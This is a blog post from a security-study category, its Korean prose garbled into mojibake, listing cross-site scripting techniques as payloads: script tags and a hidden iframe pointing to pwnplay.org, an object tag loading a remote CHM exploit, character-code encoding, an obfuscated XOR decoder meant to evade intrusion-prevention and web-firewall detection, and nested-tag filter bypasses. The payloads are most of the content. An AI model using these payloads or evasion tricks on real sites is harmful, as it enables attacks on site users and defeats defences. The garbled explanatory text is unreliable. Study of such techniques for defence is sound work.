XSS (Cross Site Scripting) ํฌ๋ก์ค ์ฌ์ดํธ ์คํฌ๋ฆฝํธ์ ์๋ฒ์ ์๋น์ค๋ฅผ ๊ณต๊ฒฉํ๋ ์ผ๋ฐ์ ์ธ ํดํน๋ฐฉ๋ฒ์ด ์๋๋ผ ํด๋น ์๋ฒ๋ฅผ ์ฌ์ฉํ๋ ์ฌ์ฉ์๋ฅผ ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ์ด๋ค.
1. XSS
์ผ๋ฐ์ ์ธ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ <script>alert("XSS")</script> ์ด๋ฌํ ๊ตฌ๋ฌธ์ ๋ฃ์์ผ๋ก ์ทจ์ฝ์ ์ด ์๋์ง ์์๋ณธ๋ค.
ex) ํด๋ฆญ์ ํ์ฌ์ดํธ๋ก ์ด๋
<a href="http://naver.com<script src='http://pwnplay.org/test'></script>">Click</a>
2. iframe ํ๊ทธ
ํ์ฌ์ดํธ๋ก ์ฐ๊ฒฐ ๊ฐ๋ฅํ๊ฒ ํจ
ex) ์จ๊ฒจ์ง iframe๋ฅผ ์ด์ฉํด ํ์ฌ์ดํธ๋ก ์ด๋
<iframe src=" http://pwnplay.org" width="0" height="0" frameborder="0"></iframe>
3. object ํ๊ทธ
ex) ์ง์ ํ ํ์ผ์ด ์กด์ฌํ์ง ์์ ๋ค์ฌ์ดํธ๋ก ์ด๋ํ๋๋ก ํจ.
<object width=0 height=0 sytle=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://pwnplay.org/attack_chm::exploit.html></object>
4. div ๊ธฐ๋ฒ
ex) div ํ๊ทธ๋ฅผ ์ฌ์ฉํ์ฌ ์ด๋ฏธ์ง ๋ฑ์ ์ฝ์ ์ํจ๋ค.
<div style="position:absolute; left:200; top:90; z-index:2;">
<img src="images/test.jpg">
</div>
5. ์ธ์ฝ๋ฉ ๊ธฐ๋ฒ
ex) ๊ณต๊ฒฉํ๋ ค๋ ๋ฌธ์์ด์ ๋ค๋ฅธ ํํ์ผ๋ก ์ธ์ฝ๋ฉํ์ฌ ๋์ ๋ ์ง ์๊ฑฐ๋, IPS, ์น๋ฐฉํ๋ฒฝ ๋์ ๊ฐ์งํจํด์ ์ฐํํ๊ธฐ ์ํ์ฌ ์ธ์ฝ๋ฉํ๋ค.
์๋ณธ : <script>alert("test");</script>
์ธ์ฝ๋ฉ : <script>alert(String.fromCharCode(116, 101, 115, 116))</script>
6. Obfuscated ๊ธฐ๋ฒ
ex) ์ธ์ฝ๋ฉ ๊ธฐ๋ฒ๊ณผ ๊ฐ์ด ์ฐํํ๊ธฐ ์ํด ์ฌ์ฉํ๋ค.
<s-ript language="javas-ript">
e = '0x00' + '5F';
str1 = "%E4%BC%B7%AA%C0%AD ....... %AA%E2";
str = tmp = '';
for(i=0; i<str1.length; i+=3)
{
tmp = unescape(str1.slice(i,i+3));
str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
}
document.write(str);
</script>
7. ๊ธฐํ์ฐํ ๋ฐฉ๋ฒ
;</script><script>alert("xss");</script>
<scr<script>ipt>alert("xss");</scr</script>ipt>
[์ฐธ์กฐ]http://egloos.zum.com/tiger5net/v/5055050
'Security Study > Web' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
string filter(php) (0) | 2016.10.05 |
---|---|
hosting ์ํ๊ธฐ์ํ ๊ธฐ๋ณธ? (0) | 2015.12.13 |
์น ํดํน ๊ธฐ๋ณธ (0) | 2015.11.24 |
๊ตฌ๊ธ ํดํน (0) | 2015.11.21 |
web 2์ผ์ฐจ (0) | 2015.10.23 |
๋๊ธ